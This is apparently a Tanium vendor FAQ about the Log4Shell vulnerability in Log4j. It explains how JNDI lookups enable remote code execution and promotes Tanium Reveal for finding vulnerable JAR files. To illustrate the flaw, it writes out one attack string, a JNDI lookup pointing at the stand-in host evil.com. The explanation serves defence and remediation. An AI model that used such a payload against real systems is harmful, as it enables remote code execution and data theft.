Log4j: Tanium Experts Answer Your Questions

The IT world was left reeling at the end of 2021 after the disclosure of a critical vulnerability in Log4j, a common Java-based logging utility maintained by the Apache Software Foundation. Virtually unknown outside the industry, it’s used in thousands of programs globally across multiple operating systems. With a CVSS score of 10.0, the first bug found in the product (“Log4Shell”) is as bad as a vulnerability can get. In fact, Log4j was targeted in 800,000+ attacks within 72 hours of the vulnerability publication.

As a result of the huge flood of publicity about the vulnerability, Tanium experts have been inundated with questions. What is Log4Shell? How can it be exploited? And how can organizations respond? To save time, and to help organizations across the globe respond and mitigate, we’ve collected the most common questions we’ve been seeing and our corresponding answers below.

What is CVE-2021-44228 (Log4Shell)?

Log4Shell is a remote code execution (RCE) vulnerability that allows an attacker to execute code by causing an application to write to the log file. Parameters entered into an application text field and other logging events are commonplace, which is partly why the vulnerability is so widespread.
The vulnerable library may be present in client systems and is not limited to public-facing web applications.

The technical stuff

By design, Log4j allows messages to contain references to outside information through an API called JNDI – the Java Naming and Directory Interface. The JNDI functionality allows access to those external references over several protocols, including Lightweight Directory Access Protocol (LDAP).

When an attacker sends a maliciously crafted string such as ${jndi:ldap://evil.com/bad}, the server will interpret that message to reach out to the LDAP server (evil.com) and request the object “bad.” The evil.com server, being controlled by a malicious attacker, will then direct the application to load a malicious Java class (bad.class).

When the vulnerable Log4j version is present and the attacker controls an LDAP server, the bad.class can contain any instructions that the attacker desires — opening the door to a huge range of possible attacks, from ransomware to cryptojacking and information theft.

In addition to RCE, vulnerable versions fail to validate the input of the JNDI call, potentially leading to the exposure of system variables to enumeration and exfiltration.

There’s been an increase in software supply chain vulnerabilities (e.g., Struts, NPM). How does Log4J stack up?

Log4J is similar because it’s a vulnerability that organizations can’t patch themselves unless it’s an application built and maintained in-house.

Log4J is different because it’s probably the furthest-reaching, highest-severity vulnerability we’ve seen in a decade or more and isn’t going away any time soon. It impacts all types of operating systems, can be in free/open-source software, enterprise applications, clients, servers, IoT devices — almost anywhere. It can be exploited remotely, leveraged for lateral movement, and the detection of exploitation relies on signature-based rules that attackers consistently bypass.

Organizations have been forced to identify what’s vulnerable in their estate, then hunt down documentation from application owners/developers to source a patch or mitigation and deploy it at scale.

What are some common misconceptions about Log4j?

• It’s easy to patch
• It only affects internet-facing systems
• Organizations can patch all instances of the vulnerability themselves
• Searching for lists of installed applications alone is enough to identify it

How can Tanium help to find Log4j instances?

Part of the reason Log4Shell is so dangerous is that Log4j can be hard to find.

Organizations may have hundreds of programs installed in their environment that leverage this library. Because the vulnerability exists in the library used by the application, they’re unable to modify the application itself. They must wait for the vendors of all their software to evaluate, patch and issue updates. Additionally, a scan of installed apps or CVEs won’t turn up evidence of what software packages use this library.

Tanium Reveal is unique in its ability to extract information from files. It can detect manifest.mf, pom.xml, or other indications of Log4j presence inside of compressed libraries. In this way, Tanium Reveal is the only solution that can look beyond a file name or extension and into the file itself. In the case of CVE-2021-44228, we can look for vulnerable jars (.JAR files) inside jars inside jars.

Tanium and our partners can show customers Log4j instances that are latent or hidden from other tools. To assist, we’re offering free-of-charge help for new or existing customers to remediate and identify the vulnerability.

What should an organization do when Reveal finds a possible match?

Tanium Reveal will show you files with matches of the patterns, but that’s not a perfect indication of vulnerability. The validation techniques for PHI or PII in Reveal can be reviewed here and in this documentation. A Log4j version match may not need deep validation.

However, if necessary, you can move rapidly from Reveal results to action to find the product that a suspicious file is from, check the vulnerability from that vendor and decide if you should patch or remove it.

Tanium has multiple options to dig deeper and identify true/false results. These are suggestions for things that are possible, but are non-exhaustive, and will be highly dependent on the organization’s environment and existing workflows/policy/processes.

It’s important to note that this isn’t so much of an incident response as a threat-hunting situation. The next steps will be highly dependent on an impacted organization’s findings. SANS has a great cheat sheet on the PICERL model for incident response here. According to this model, Tanium Reveal and Index are part of the Preparation and Identification steps.

How can CISA’s scanner help?

On December 21, 2021, CISA published a version of an open-source Log4j Scanner tool, originally created by fullhunt.io. While useful, the scanner will only work if you point it to a location with a vulnerable endpoint and application listening. It could still miss vulnerable endpoints due to the guesswork around how systems are configured.

Even if organizations want to leverage this tool, they should still use Tanium Reveal to better clarify the list of endpoints they want to test. They should also be aware that this scanner will not detect vulnerable .JAR files on disk or in backups, or those not running at the time of scan.

Additionally, the scanner does not offer opportunities to mitigate, or deploy updated patches for vulnerable apps. It is another important tool to help in the effort to fix Log4j but shouldn’t be viewed as an authoritative or holistic method.

What makes vulnerability scanning ineffective on its own?

• Updates to definitions take time, and those definitions depend on disclosure of vulnerability status by software vendors
• It’s often based on known vulnerable applications. Log4j, like other libraries, will require a deep hunt through layers of software in your environment to confidently identify
• Many vulnerability scanners are using a “spray and pray” method of benign exploitation of the vulnerability. This is only partially effective. It requires the vulnerable service to be listening on the port you’re scanning. If the application is sitting dormant on disk, those scanners won’t detect it.

How do you know when you’ve mitigated the Log4j vulnerability?

Once you’ve deployed all patches for all instances of the software — but by that time, there will inevitably be new vulnerabilities to remediate. It’s important to think of security as a process, not a checklist or a task you can cross off as “done.” The threat landscape continues to evolve. Every time a new asset joins your network, and every time a researcher identifies a new bug, you will have more to do. That’s why the ability to respond dynamically is critical. Change the culture around allowing outdated apps to live because they’re “critical.” We need to accept change, not risk. Risk acceptance is a strategy to allow you time to coordinate change, not a perpetual state.

How long does it take to know you’re exposed?

Organizations can roll out Tanium Reveal in hours, and immediately begin to gather results that they can then use to pivot their investigation and hunt strategy.

Can I use a partner to use Tanium in discovering or remediating Log4j?

Yes. Most Tanium partners worldwide have already been briefed and are ready to deliver services to help with any aspect of Log4j discovery or remediation or to help better optimize the security stack through tool consolidation and rationalization.

How else can Reveal help?

Tanium Reveal can help discover and remediate Log4j by:

• Uncovering exposed passwords
• Conducting dynamic hunting

What do I need to know about the FTC’s warning on Log4j?

The Federal Trade Commission (FTC) has issued requirements that all companies must scan and remediate this vulnerability because it’s as bad or worse than the bug in Apache Struts, which caused the infamous Equifax breach. The FTC and CISA recognize that we’re on borrowed time until a headline-grabbing breach is uncovered.

The chances are that global organizations have already been compromised via Log4Shell and attackers are covertly analyzing their networks, exfiltrating data and staging additional attacks. It will be a long time before we realize the true impact of this vulnerability.

If you have more questions about Log4j or want to take advantage of our free of charge service to help identify this vulnerability, contact us today.

Existing customers can find more detailed information on how to find and mitigate Log4j in our Tanium Community article. This information is updated regularly as new information becomes available.